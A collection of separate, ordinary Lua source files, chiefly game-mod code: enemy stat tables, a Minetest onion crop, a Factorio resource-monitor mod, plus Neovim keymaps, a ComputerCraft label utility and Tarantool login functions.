luck_growth = 0,
speed = 8,
luck = 0,
id = 12300214,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
equipment_list = {
611241,
611242
}
},
[12300221] = {
cannon = 55,
reload = 150,
speed_growth = 0,
cannon_growth = 1600,
rarity = 3,
air = 0,
torpedo = 80,
dodge = 11,
durability_growth = 123200,
antiaircraft = 145,
luck = 5,
reload_growth = 0,
dodge_growth = 156,
hit_growth = 210,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 303,
durability = 1420,
armor_growth = 0,
torpedo_growth = 2000,
luck_growth = 0,
speed = 20,
armor = 0,
id = 12300221,
antiaircraft_growth = 3600,
antisub = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
1100021,
1100176,
1100316,
1100376
}
},
[12300222] = {
cannon = 55,
reload = 150,
speed_growth = 0,
cannon_growth = 1600,
rarity = 3,
air = 0,
torpedo = 80,
dodge = 11,
durability_growth = 134400,
antiaircraft = 145,
luck = 5,
reload_growth = 0,
dodge_growth = 156,
hit_growth = 210,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 303,
durability = 1550,
armor_growth = 0,
torpedo_growth = 2000,
luck_growth = 0,
speed = 20,
armor = 0,
id = 12300222,
antiaircraft_growth = 3600,
antisub = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
1100021,
1100176,
1100316,
1100376
}
},
[12300223] = {
cannon = 95,
reload = 150,
speed_growth = 0,
cannon_growth = 2200,
rarity = 3,
air = 0,
torpedo = 0,
dodge = 11,
durability_growth = 153600,
antiaircraft = 120,
luck = 5,
reload_growth = 0,
dodge_growth = 156,
hit_growth = 210,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 304,
durability = 2410,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 20,
armor = 0,
id = 12300223,
antiaircraft_growth = 3200,
antisub = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
1100026,
1101541,
1101521,
1100526
}
},
[12300224] = {
cannon = 55,
reload = 150,
speed_growth = 0,
cannon_growth = 1600,
rarity = 3,
air = 0,
torpedo = 80,
dodge = 11,
durability_growth = 145600,
antiaircraft = 145,
luck = 5,
reload_growth = 0,
dodge_growth = 156,
hit_growth = 210,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 303,
durability = 1680,
armor_growth = 0,
torpedo_growth = 2000,
luck_growth = 0,
speed = 20,
armor = 0,
id = 12300224,
antiaircraft_growth = 3600,
antisub = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
1100021,
1100176,
1100316,
1100376
}
},
[12300225] = {
cannon = 95,
reload = 150,
speed_growth = 0,
cannon_growth = 2200,
rarity = 3,
air = 0,
torpedo = 0,
dodge = 11,
durability_growth = 166400,
antiaircraft = 120,
luck = 5,
reload_growth = 0,
dodge_growth = 156,
hit_growth = 210,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 304,
durability = 2610,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 20,
armor = 0,
id = 12300225,
antiaircraft_growth = 3200,
antisub = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
1100026,
1101541,
1101521,
1100526
}
},
[12300226] = {
cannon = 120,
hit_growth = 210,
rarity = 3,
speed_growth = 0,
pilot_ai_template_id = 10001,
air = 0,
luck = 5,
dodge = 11,
cannon_growth = 3600,
speed = 20,
reload = 150,
reload_growth = 0,
dodge_growth = 156,
id = 12300226,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
torpedo = 0,
base = 366,
durability = 3850,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
battle_unit_type = 90,
armor = 0,
durability_growth = 249600,
antiaircraft = 135,
antisub = 0,
antiaircraft_growth = 3200,
appear_fx = {
"appearQ"
},
equipment_list = {
1100022,
1101526,
1101532,
1101536
},
buff_list = {
{
ID = 50500,
LV = 2
}
}
},
[12300227] = {
cannon = 35,
reload = 150,
speed_growth = 0,
cannon_growth = 800,
rarity = 1,
air = 0,
torpedo = 120,
dodge = 5,
durability_growth = 22000,
antiaircraft = 0,
luck = 5,
reload_growth = 0,
dodge_growth = 72,
hit_growth = 210,
star = 2,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 369,
durability = 660,
armor_growth = 0,
torpedo_growth = 3600,
luck_growth = 0,
speed = 12,
armor = 0,
id = 12300227,
antiaircraft_growth = 0,
antisub = 0,
scale = 150,
equipment_list = {
611243,
611244,
611245
}
},
[12300228] = {
cannon = 35,
reload = 150,
speed_growth = 0,
cannon_growth = 800,
rarity = 1,
air = 0,
torpedo = 120,
dodge = 5,
durability_growth = 24000,
antiaircraft = 0,
luck = 5,
reload_growth = 0,
dodge_growth = 72,
hit_growth = 210,
star = 2,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 369,
durability = 720,
armor_growth = 0,
torpedo_growth = 3600,
luck_growth = 0,
speed = 12,
armor = 0,
id = 12300228,
antiaircraft_growth = 0,
antisub = 0,
scale = 150,
equipment_list = {
611243,
611244,
611245
}
},
[12300229] = {
cannon = 35,
reload = 150,
speed_growth = 0,
cannon_growth = 800,
rarity = 1,
air = 0,
torpedo = 120,
dodge = 5,
durability_growth = 26000,
antiaircraft = 0,
luck = 5,
reload_growth = 0,
dodge_growth = 72,
hit_growth = 210,
star = 2,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 90,
base = 369,
durability = 780,
armor_growth = 0,
torpedo_growth = 3600,
luck_growth = 0,
speed = 12,
armor = 0,
id = 12300229,
antiaircraft_growth = 0,
antisub = 0,
scale = 150,
equipment_list = {
611243,
611244,
611245
}
},
[12300231] = {
cannon = 135,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
rarity = 5,
air = 0,
torpedo = 0,
dodge = 14,
durability_growth = 0,
antiaircraft = 145,
luck = 8,
reload_growth = 0,
dodge_growth = 198,
hit_growth = 210,
star = 6,
hit = 14,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 95,
base = 363,
durability = 19800,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 18,
armor = 0,
id = 12300231,
antiaircraft_growth = 0,
antisub = 0,
appear_fx = {
"bossguangxiao",
"appearQ"
},
equipment_list = {
611061,
611062,
611063,
611064,
611065,
611066
}
}
}
return
|
--[[
Original textures from Crops Plus mod
Copyright (C) 2018 Grizzly Adam
https://forum.minetest.net/viewtopic.php?f=9&t=19488
]]
local S = farming.intllib
-- potato
minetest.register_craftitem("farming:onion", {
description = S("Onion"),
inventory_image = "crops_onion.png",
groups = {seed = 2, food_onion = 1, flammable = 3},
on_place = function(itemstack, placer, pointed_thing)
return farming.place_seed(itemstack, placer, pointed_thing, "farming:onion_1")
end,
on_use = minetest.item_eat(1),
})
-- crop definition
local crop_def = {
drawtype = "plantlike",
tiles = {"crops_onion_plant_1.png"},
paramtype = "light",
paramtype2 = "meshoptions",
place_param2 = 3,
sunlight_propagates = true,
waving = 1,
walkable = false,
buildable_to = true,
drop = "",
selection_box = farming.select,
groups = {
snappy = 3, flammable = 3, plant = 1, attached_node = 1,
not_in_creative_inventory = 1, growing = 1
},
sounds = default.node_sound_leaves_defaults()
}
-- stage 1
minetest.register_node("farming:onion_1", table.copy(crop_def))
-- stage 2
crop_def.tiles = {"crops_onion_plant_2.png"}
minetest.register_node("farming:onion_2", table.copy(crop_def))
-- stage 3
crop_def.tiles = {"crops_onion_plant_3.png"}
minetest.register_node("farming:onion_3", table.copy(crop_def))
-- stage 4
crop_def.tiles = {"crops_onion_plant_4.png"}
minetest.register_node("farming:onion_4", table.copy(crop_def))
-- stage 5
crop_def.tiles = {"crops_onion_plant_5.png"}
crop_def.groups.growing = 0
crop_def.drop = {
max_items = 5, items = {
{items = {"farming:onion"}, rarity = 1},
{items = {"farming:onion"}, rarity = 1},
{items = {"farming:onion"}, rarity = 2},
{items = {"farming:onion"}, rarity = 2},
{items = {"farming:onion"}, rarity = 5},
}
}
minetest.register_node("farming:onion_5", table.copy(crop_def))
-- add to registered_plants
farming.registered_plants["farming:onion"] = {
crop = "farming:onion",
seed = "farming:onion",
minlight = 13,
maxlight = 15,
steps = 5
}
|
nnoremap("<leader>S", ":lua require('spectre').open()<CR>")
-- search current word
nnoremap("<leader>sw", ":lua require('spectre').open_visual({select_word=true})<CR>")
vnoremap("<leader>s", ":lua require('spectre').open_visual()<CR>")
-- search in current file
nnoremap("<leader>sp", "viw:lua require('spectre').open_file_search()<cr>")
|
local Users=box.space.Users
function RegisterUser(UserName,Email,Password)
local Result
if Users.index.Email:get(Email) or Users.index.Name:get(UserName) then
return 409
elseif pcall(function()
Result=Users:insert{nil,UserName,Email,CryptoPassword(Password),nil,true,nil}
end)then
return 200
else
return 500
end
end
function Login(Email,Password)
local Res=Users.index.Login:get({Email,CryptoPassword(Password)})
local Session=MkSession()
if Res and Res[6] and pcall(function()
Users.index.Login:update({Email,CryptoPassword(Password)},{{'=',7,Session}})
end) then
return 200,{Session=Session}
else
return 404
end
end
function NewPassword(Session,OldPassword,NewPassword)
return RunWithUser(Session,function(User)
if User[4]==CryptoPassword(OldPassword) then
Users:update(User[1],{{'=',4,CryptoPassword(NewPassword)}})
return 200
else
return 403
end
end)
end
function GetCurrUser(Session)
return RunWithUser(Session,function(User)
return 200,{
ID=User[1],
Name=User[2],
Email=User[3],
IsAdmin=User[5]=='Admin' or User[5]=='UberAdmin',
IsUberAdmin=User[5]=='UberAdmin',
Enabled=User[6]
}
end)
end
|
fx_version 'cerulean'
game 'gta5'
description 'Enc0ded Persistent Vehicles: https://github.com/enc0ded/enc0ded-persistent-vehicles'
version '1.0.0'
client_scripts {
'@vrp/lib/utils.lua',
'config.lua',
'client/entityiter.lua',
'client/_utils.lua',
'client/main.lua',
}
server_scripts {
'@vrp/lib/utils.lua',
'config.lua',
'server/main.lua',
}
|
local function printUsage()
print( "Usages:" )
print( "label get" )
print( "label get <drive>" )
print( "label set <text>" )
print( "label set <drive> <text>" )
print( "label clear" )
print( "label clear <drive>" )
end
local function checkDrive( sDrive )
if peripheral.getType( sDrive ) == "drive" then
-- Check the disk exists
local bData = disk.hasData( sDrive )
if not bData then
print( "No disk in "..sDrive.." drive" )
return false
end
else
print( "No disk drive named "..sDrive )
return false
end
return true
end
local function get( sDrive )
if sDrive ~= nil then
if checkDrive( sDrive ) then
local sLabel = disk.getLabel( sDrive )
if sLabel then
print( "Disk label is \""..sLabel.."\"" )
else
print( "No Disk label" )
end
end
else
local sLabel = os.getComputerLabel()
if sLabel then
print( "Computer label is \""..sLabel.."\"" )
else
print( "No Computer label" )
end
end
end
local function set( sDrive, sText )
if sDrive ~= nil then
if checkDrive( sDrive ) then
disk.setLabel( sDrive, sText )
local sLabel = disk.getLabel( sDrive )
if sLabel then
print( "Disk label set to \""..sLabel.."\"" )
else
print( "Disk label cleared" )
end
end
else
os.setComputerLabel( sText )
local sLabel = os.getComputerLabel()
if sLabel then
print( "Computer label set to \""..sLabel.."\"" )
else
print( "Computer label cleared" )
end
end
end
local tArgs = { ... }
local sCommand = tArgs[1]
if sCommand == "get" then
-- Get a label
if #tArgs == 1 then
get( nil )
elseif #tArgs == 2 then
get( tArgs[2] )
else
printUsage()
end
elseif sCommand == "set" then
-- Set a label
if #tArgs == 2 then
set( nil, tArgs[2] )
elseif #tArgs == 3 then
set( tArgs[2], tArgs[3] )
else
printUsage()
end
elseif sCommand == "clear" then
-- Clear a label
if #tArgs == 1 then
set( nil, nil )
elseif #tArgs == 2 then
set( tArgs[2], nil )
else
printUsage()
end
else
printUsage()
end
|
return function(self, birthday)
for _, v in pairs(self) do
if type(v) == "table" and v.name and v.birthday:match(birthday) then
return v
end
end
end
|
require "util"
require "libs/array_pair"
-- Sanity: site names aren't allowed to be longer than this, to prevent them
-- kicking the buttons off the right edge of the screen
local MAX_SITE_NAME_LENGTH = 50
resmon = {
on_click = {},
endless_resources = {},
}
function string.starts_with(haystack, needle)
return string.sub(haystack, 1, string.len(needle)) == needle
end
function string.ends_with(haystack, needle)
return string.sub(haystack, -string.len(needle)) == needle
end
function resmon.init_globals()
for index,_ in pairs(game.players) do
resmon.init_player(index)
end
end
function resmon.on_player_created(event)
resmon.init_player(event.player_index)
end
function resmon.init_player(player_index)
local player = game.players[player_index]
resmon.init_force(player.force)
if not global.player_data then global.player_data = {} end
local player_data = global.player_data[player_index]
if not player_data then player_data = {} end
if player_data.expandoed == nil then player_data.expandoed = false end
if not player_data.gui_update_ticks or player_data.gui_update_ticks == 60 then player_data.gui_update_ticks = 300 end
if not player_data.overlays then player_data.overlays = {} end
global.player_data[player_index] = player_data
end
function resmon.init_force(force)
if not global.force_data then global.force_data = {} end
local force_data = global.force_data[force.name]
if not force_data then force_data = {} end
if not force_data.ore_sites then
force_data.ore_sites = {}
else
resmon.migrate_ore_sites(force_data)
resmon.migrate_ore_entities(force_data)
end
global.force_data[force.name] = force_data
end
local function position_to_string(entity)
-- scale it up so (hopefully) any floating point component disappears,
-- then force it to be an integer with %d. not using util.positiontostr
-- as it uses %g and keeps the floating point component.
return string.format("%d,%d", entity.x * 100, entity.y * 100)
end
function resmon.migrate_ore_entities(force_data)
for name, site in pairs(force_data.ore_sites) do
if site.known_positions then
site.known_positions = nil
end
if site.entities then
site.entity_positions = array_pair.new()
for _, ent in pairs(site.entities) do
if ent.valid then
array_pair.insert(site.entity_positions, ent.position)
end
end
site.entities = nil
end
if site.entity_positions then
site.entity_table = {}
site.entity_count = 0
local iter = array_pair.iterator(site.entity_positions)
while iter.has_next() do
pos = iter.next()
local key = position_to_string(pos)
site.entity_table[key] = pos
site.entity_count = site.entity_count + 1
end
site.entity_positions = nil
end
end
end
function resmon.migrate_ore_sites(force_data)
for name, site in pairs(force_data.ore_sites) do
if not site.remaining_permille then
site.remaining_permille = math.floor(site.amount * 1000 / site.initial_amount)
end
if not site.ore_per_minute then site.ore_per_minute = 0 end
end
end
local function find_resource_at(surface, position)
-- The position we get is centered in its tile (e.g., {8.5, 17.5}).
-- Sometimes, the resource does not cover the center, so search the full tile.
local top_left = {x = position.x - 0.5, y = position.y - 0.5}
local bottom_right = {x = position.x + 0.5, y = position.y + 0.5}
local stuff = surface.find_entities_filtered{area={top_left, bottom_right}, type='resource'}
if #stuff < 1 then return nil end
return stuff[1] -- there should never be another resource at the exact same coordinates
end
function resmon.on_built_entity(event)
if event.created_entity.name ~= 'resource-monitor' then return end
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
local pos = event.created_entity.position
local surface = event.created_entity.surface
-- Don't actually place the resource monitor entity
if not player.cursor_stack.valid_for_read then
player.cursor_stack.set_stack{name="resource-monitor", count=1}
elseif player.cursor_stack.name == "resource-monitor" then
player.cursor_stack.count = player.cursor_stack.count + 1
end
event.created_entity.destroy()
local resource = find_resource_at(surface, pos)
if not resource then
-- if we have an expanding site, submit it. else, just drop the current site
if player_data.current_site and player_data.current_site.is_site_expanding then
resmon.submit_site(event.player_index)
else
resmon.clear_current_site(event.player_index)
end
return
end
local rescat = resource.prototype.resource_category
if rescat and rescat == "sand" then
player.print{"YARM-err-sand-is-bad", rescat}
return
end
resmon.add_resource(event.player_index, resource)
end
function resmon.clear_current_site(player_index)
local player = game.players[player_index]
local player_data = global.player_data[player_index]
player_data.current_site = nil
while #player_data.overlays > 0 do
table.remove(player_data.overlays).destroy()
end
end
function resmon.add_resource(player_index, entity)
local player = game.players[player_index]
local player_data = global.player_data[player_index]
if player_data.current_site and player_data.current_site.ore_type ~= entity.name then
if player_data.current_site.finalizing then
resmon.submit_site(player_index)
else
resmon.clear_current_site(player_index)
end
end
if not player_data.current_site then
player_data.current_site = {
added_at = game.tick,
surface = entity.surface,
force = player.force,
ore_type = entity.name,
ore_name = entity.prototype.localised_name,
entity_table = {},
entity_count = 0,
initial_amount = 0,
amount = 0,
extents = {
left = entity.position.x,
right = entity.position.x,
top = entity.position.y,
bottom = entity.position.y,
},
next_to_scan = {},
entities_to_be_overlaid = {},
next_to_overlay = {},
}
if resmon.is_endless_resource(entity.name, entity.prototype) then
player_data.current_site.minimum_resource_amount = entity.prototype.minimum_resource_amount
end
end
if player_data.current_site.is_site_expanding then
player_data.current_site.has_expanded = true -- relevant for the console output
if not player_data.current_site.original_amount then
player_data.current_site.original_amount = player_data.current_site.amount
end
end
resmon.add_single_entity(player_index, entity)
-- note: resmon.scan_current_site() (via on_tick) will continue the operation from here
end
function resmon.add_single_entity(player_index, entity)
local player_data = global.player_data[player_index]
local site = player_data.current_site
local entity_pos = entity.position
-- Don't re-add the same entity multiple times
local key = position_to_string(entity_pos)
if site.entity_table[key] then
return
end
if site.finalizing then site.finalizing = false end
-- Memorize this entity
site.entity_table[key] = entity_pos
site.entity_count = site.entity_count + 1
table.insert(site.next_to_scan, entity)
site.amount = site.amount + entity.amount
-- Resize the site bounds if necessary
if entity.position.x < site.extents.left then
site.extents.left = entity.position.x
elseif entity.position.x > site.extents.right then
site.extents.right = entity.position.x
end
if entity.position.y < site.extents.top then
site.extents.top = entity.position.y
elseif entity.position.y > site.extents.bottom then
site.extents.bottom = entity.position.y
end
-- Give visible feedback, too
resmon.put_marker_at(entity.surface, entity_pos, player_data)
end
function resmon.put_marker_at(surface, pos, player_data)
if math.floor(pos.x) % settings.global["YARM-overlay-step"].value ~= 0 or
math.floor(pos.y) % settings.global["YARM-overlay-step"].value ~= 0 then
return
end
local overlay = surface.create_entity{name="rm_overlay",
force=game.forces.neutral,
position=pos}
overlay.minable = false
overlay.destructible = false
overlay.operable = false
table.insert(player_data.overlays, overlay)
end
local function shift_position(position, direction)
if direction == defines.direction.north then
return {x = position.x, y = position.y - 1}
elseif direction == defines.direction.northeast then
return {x = position.x + 1, y = position.y - 1}
elseif direction == defines.direction.east then
return {x = position.x + 1, y = position.y}
elseif direction == defines.direction.southeast then
return {x = position.x + 1, y = position.y + 1}
elseif direction == defines.direction.south then
return {x = position.x, y = position.y + 1}
elseif direction == defines.direction.southwest then
return {x = position.x - 1, y = position.y + 1}
elseif direction == defines.direction.west then
return {x = position.x - 1, y = position.y}
elseif direction == defines.direction.northwest then
return {x = position.x - 1, y = position.y - 1}
else
return position
end
end
function resmon.scan_current_site(player_index)
local site = global.player_data[player_index].current_site
local to_scan = math.min(30, #site.next_to_scan)
for i = 1, to_scan do
local entity = table.remove(site.next_to_scan, 1)
local entity_position = entity.position
local surface = entity.surface
-- Look in every direction around this entity...
for _, dir in pairs(defines.direction) do
-- ...and if there's a resource, add it
local found = find_resource_at(surface, shift_position(entity_position, dir))
if found and found.name == site.ore_type then
resmon.add_single_entity(player_index, found)
end
end
end
end
local function find_center(area)
local xpos = (area.left + area.right) / 2
local ypos = (area.top + area.bottom) / 2
return {x = math.floor(xpos),
y = math.floor(ypos)}
end
local function format_number(n) -- credit http://richard.warburton.it
local left,num,right = string.match(n,'^([^%d]*%d)(%d*)(.-)$')
return left..(num:reverse():gsub('(%d%d%d)','%1,'):reverse())..right
end
local octant_names = {
[0] = "E", [1] = "SE", [2] = "S", [3] = "SW",
[4] = "W", [5] = "NW", [6] = "N", [7] = "NE",
}
local function get_octant_name(vector)
local radians = math.atan2(vector.y, vector.x)
local octant = math.floor( 8 * radians / (2*math.pi) + 8.5 ) % 8
return octant_names[octant]
end
function resmon.finalize_site(player_index)
local player = game.players[player_index]
local player_data = global.player_data[player_index]
local site = player_data.current_site
site.finalizing = true
site.finalizing_since = game.tick
site.initial_amount = site.amount
site.ore_per_minute = 0
site.remaining_permille = 1000
site.center = find_center(site.extents)
--[[ don't rename a site we've expanded! (if the site name changes it'll create a new site
instead of replacing the existing one) ]]
if not site.is_site_expanding then
site.name = string.format("%s %d", get_octant_name(site.center), util.distance({x=0, y=0}, site.center))
end
resmon.count_deposits(site, site.added_at % settings.global["YARM-ticks-between-checks"].value)
end
function resmon.submit_site(player_index)
local player = game.players[player_index]
local player_data = global.player_data[player_index]
local force_data = global.force_data[player.force.name]
local site = player_data.current_site
force_data.ore_sites[site.name] = site
resmon.clear_current_site(player_index)
if (site.is_site_expanding) then
if(site.has_expanded) then
local amount_added = site.amount - site.original_amount
local sign = amount_added < 0 and '' or '+' -- format_number will handle the negative sign for us (if needed)
player.print{"YARM-site-expanded", site.name, format_number(site.amount), site.ore_name,
sign..format_number(amount_added)}
end
--[[ NB: deliberately not outputting anything in the case where the player cancelled (or
timed out) a site expansion without expanding anything (to avoid console spam) ]]
else
player.print{"YARM-site-submitted", site.name, format_number(site.amount), site.ore_name}
end
-- clear site expanding state so we can re-expand the same site again (and get sensible numbers!)
if(site.is_site_expanding) then
site.is_site_expanding = nil
site.has_expanded = nil
site.original_amount = nil
end
resmon.update_force_members_ui(player)
end
function resmon.is_endless_resource(ent_name, proto)
if resmon.endless_resources[ent_name] ~= nil then
return resmon.endless_resources[ent_name]
end
if not proto then return false end
if proto.infinite_resource then
resmon.endless_resources[ent_name] = true
else
resmon.endless_resources[ent_name] = false
end
return resmon.endless_resources[ent_name]
end
function resmon.count_deposits(site, update_cycle)
if site.iter_fn then
resmon.tick_deposit_count(site)
return
end
local site_update_cycle = site.added_at % settings.global["YARM-ticks-between-checks"].value
if site_update_cycle ~= update_cycle then
return
end
site.iter_fn, site.iter_state, site.iter_key = pairs(site.entity_table)
site.update_amount = 0
end
function resmon.tick_deposit_count(site)
local key, pos
key = site.iter_key
for _ = 1, 100 do
key, pos = site.iter_fn(site.iter_state, key)
if key == nil then
resmon.finish_deposit_count(site)
return
end
local ent = site.surface.find_entity(site.ore_type, pos)
if ent and ent.valid then
site.update_amount = site.update_amount + ent.amount
else
site.entity_table[key] = nil -- It's permitted to delete from a table being iterated
site.entity_count = site.entity_count - 1
end
end
site.iter_key = key
end
function resmon.finish_deposit_count(site)
site.iter_key = nil
site.iter_fn = nil
site.iter_state = nil
if site.last_ore_check then
local delta_ticks = game.tick - site.last_ore_check
local delta_ore = site.update_amount - site.amount
site.ore_per_minute = math.floor(delta_ore * 3600 / delta_ticks)
end
site.amount = site.update_amount
site.last_ore_check = game.tick
site.remaining_permille = math.floor(site.amount * 1000 / site.initial_amount)
local entity_prototype = game.entity_prototypes[site.ore_type]
if resmon.is_endless_resource(site.ore_type, entity_prototype) then
-- calculate remaining permille as:
-- how much of the minimum amount does the site have in excess to the site minimum amount?
local site_minimum = site.entity_count * site.minimum_resource_amount
site.remaining_permille = math.floor(site.amount * 1000 / site_minimum) - 1000 + (settings.global["YARM-endless-resource-base"].value * 10)
end
script.raise_event(on_site_updated, {
force_name = site.force.name,
site_name = site.name,
amount = site.amount,
ore_per_minute = site.ore_per_minute,
remaining_permille = site.remaining_permille,
ore_type = site.ore_type,
})
end
local function site_comparator(left, right)
if left.remaining_permille ~= right.remaining_permille then
return left.remaining_permille < right.remaining_permille
elseif left.added_at ~= right.added_at then
return left.added_at < right.added_at
else
return left.name < right.name
end
end
local function ascending_by_ratio(sites)
local ordered_sites = {}
for _, site in pairs(sites) do
table.insert(ordered_sites, site)
end
table.sort(ordered_sites, site_comparator)
local i = 0
local n = #ordered_sites
return function()
i = i + 1
if i <= n then return ordered_sites[i] end
end
end
function resmon.update_ui(player)
local player_data = global.player_data[player.index]
local force_data = global.force_data[player.force.name]
local root = player.gui.left.YARM_root
if not root then
root = player.gui.left.add{type="frame",
name="YARM_root",
direction="horizontal",
style="YARM_outer_frame_no_border"}
local buttons = root.add{type="flow",
name="buttons",
direction="vertical",
style="YARM_buttons_v"}
buttons.add{type="button", name="YARM_expando", style="YARM_expando_short"}
end
if root.sites and root.sites.valid then
root.sites.destroy()
end
local sites_gui = root.add{type="table", column_count=7, name="sites", style="YARM_site_table"}
if force_data and force_data.ore_sites then
for site in ascending_by_ratio(force_data.ore_sites) do
if not player_data.expandoed and (site.remaining_permille / 10) > game.players[player.index].mod_settings["YARM-warn-percent"].value then
break
end
if site.deleting_since and site.deleting_since + 600 < game.tick then
site.deleting_since = nil
end
local color = resmon.site_color(site, player)
local el = nil
el = sites_gui.add{type="label", name="YARM_label_site_"..site.name,
caption=site.name}
el.style.font_color = color
el = sites_gui.add{type="label", name="YARM_label_percent_"..site.name,
caption=string.format("%.1f%%", site.remaining_permille / 10)}
el.style.font_color = color
el = sites_gui.add{type="label", name="YARM_label_amount_"..site.name,
caption=format_number(site.amount)}
el.style.font_color = color
el = sites_gui.add{type="label", name="YARM_label_ore_name_"..site.name,
caption=site.ore_name}
el.style.font_color = color
el = sites_gui.add{type="label", name="YARM_label_ore_per_minute_"..site.name,
caption={"YARM-ore-per-minute", site.ore_per_minute}}
el.style.font_color = color
el = sites_gui.add{type="label", name="YARM_label_etd_"..site.name,
caption={"YARM-time-to-deplete", resmon.time_to_deplete(site)}}
el.style.font_color = color
local site_buttons = sites_gui.add{type="flow", name="YARM_site_buttons_"..site.name,
direction="horizontal", style="YARM_buttons_h"}
if site.deleting_since then
site_buttons.add{type="button",
name="YARM_delete_site_"..site.name,
style="YARM_delete_site_confirm"}
elseif player_data.viewing_site == site.name then
site_buttons.add{type="button",
name="YARM_goto_site_"..site.name,
style="YARM_goto_site_cancel"}
if player_data.renaming_site == site.name then
site_buttons.add{type="button",
name="YARM_rename_site_"..site.name,
style="YARM_rename_site_cancel"}
else
site_buttons.add{type="button",
name="YARM_rename_site_"..site.name,
style="YARM_rename_site"}
end
else
site_buttons.add{type="button",
name="YARM_goto_site_"..site.name,
style="YARM_goto_site"}
site_buttons.add{type="button",
name="YARM_delete_site_"..site.name,
style="YARM_delete_site"}
if site.is_site_expanding then
site_buttons.add{type="button",
name="YARM_expand_site_"..site.name,
style="YARM_expand_site_cancel"}
else
site_buttons.add{type="button",
name="YARM_expand_site_"..site.name,
style="YARM_expand_site"}
end
end
end
end
end
function resmon.time_to_deplete(site)
if site.ore_per_minute == 0 then return {"YARM-etd-never"} end
local minutes = math.floor(site.amount / (-site.ore_per_minute))
local hours = math.floor(minutes / 60)
if hours > 0 then
return {"", {"YARM-etd-hour-fragment", hours}, " ", {"YARM-etd-minute-fragment", minutes % 60}}
elseif minutes > 0 then
return {"", {"YARM-etd-minute-fragment", minutes}}
else
return {"YARM-etd-under-1m"}
end
end
function resmon.site_color(site, player)
local warn_permille = 100
local color = {
r=math.floor(warn_permille * 255 / site.remaining_permille),
g=math.floor(site.remaining_permille * 255 / warn_permille),
b=0
}
if color.r > 255 then color.r = 255
elseif color.r < 2 then color.r = 2 end
if color.g > 255 then color.g = 255
elseif color.g < 2 then color.g = 2 end
return color
end
function resmon.on_click.YARM_rename_confirm(event)
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
local force_data = global.force_data[player.force.name]
local old_name = player_data.renaming_site
local new_name = player.gui.center.YARM_site_rename.new_name.text
if string.len(new_name) > MAX_SITE_NAME_LENGTH then
player.print{'YARM-err-site-name-too-long', MAX_SITE_NAME_LENGTH}
return
end
local site = force_data.ore_sites[old_name]
force_data.ore_sites[old_name] = nil
force_data.ore_sites[new_name] = site
site.name = new_name
player_data.viewing_site = new_name
player_data.renaming_site = nil
player.gui.center.YARM_site_rename.destroy()
resmon.update_force_members_ui(player)
end
function resmon.on_click.YARM_rename_cancel(event)
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
player_data.renaming_site = nil
player.gui.center.YARM_site_rename.destroy()
end
function resmon.on_click.rename_site(event)
local site_name = string.sub(event.element.name, 1 + string.len("YARM_rename_site_"))
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
if player.gui.center.YARM_site_rename then
resmon.on_click.YARM_rename_cancel(event)
return
end
player_data.renaming_site = site_name
local root = player.gui.center.add{type="frame",
name="YARM_site_rename",
caption={"YARM-site-rename-title"},
direction="horizontal"}
root.add{type="textfield", name="new_name"}.text = site_name
root.add{type="button", name="YARM_rename_confirm", caption={"YARM-site-rename-confirm"}}
root.add{type="button", name="YARM_rename_cancel", caption={"YARM-site-rename-cancel"}}
resmon.update_force_members_ui(player)
end
function resmon.on_click.remove_site(event)
local site_name = string.sub(event.element.name, 1 + string.len("YARM_delete_site_"))
local player = game.players[event.player_index]
local force_data = global.force_data[player.force.name]
local site = force_data.ore_sites[site_name]
if site.deleting_since then
force_data.ore_sites[site_name] = nil
else
site.deleting_since = event.tick
end
resmon.update_force_members_ui(player)
end
function resmon.on_click.goto_site(event)
local site_name = string.sub(event.element.name, 1 + string.len("YARM_goto_site_"))
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
local force_data = global.force_data[player.force.name]
local site = force_data.ore_sites[site_name]
-- Don't bodyswap too often, Factorio hates it when you do that.
if player_data.last_bodyswap and player_data.last_bodyswap + 10 > event.tick then return end
player_data.last_bodyswap = event.tick
if player_data.viewing_site == site_name then
-- returning to our home body
if player_data.real_character == nil or not player_data.real_character.valid then
player.print({"YARM-warn-no-return-possible"})
return
end
player.character = player_data.real_character
player_data.remote_viewer.destroy()
player_data.real_character = nil
player_data.remote_viewer = nil
player_data.viewing_site = nil
else
-- stepping out to a remote viewer: first, be sure you remember your old body
if not player_data.real_character or not player_data.real_character.valid then
--[[ Abort if the "real" character is missing (e.g., god mode) or isn't a player!
NB: this might happen if you use something like The Fat Controller or Command Control
and you do NOT want to get stuck not being able to return from those ]]
if not player.character or player.character.name ~= "player" then
player.print({"YARM-warn-not-in-real-body"})
return
elseif player.vehicle then
player.print({"YARM-warn-in-vehicle"})
return
end
player_data.real_character = player.character
end
player_data.viewing_site = site_name
-- make us a viewer and put us in it
local viewer = player.surface.create_entity{name="yarm-remote-viewer", position=site.center, force=player.force}
viewer.destructible = false
player.character = viewer
-- don't leave an old one behind
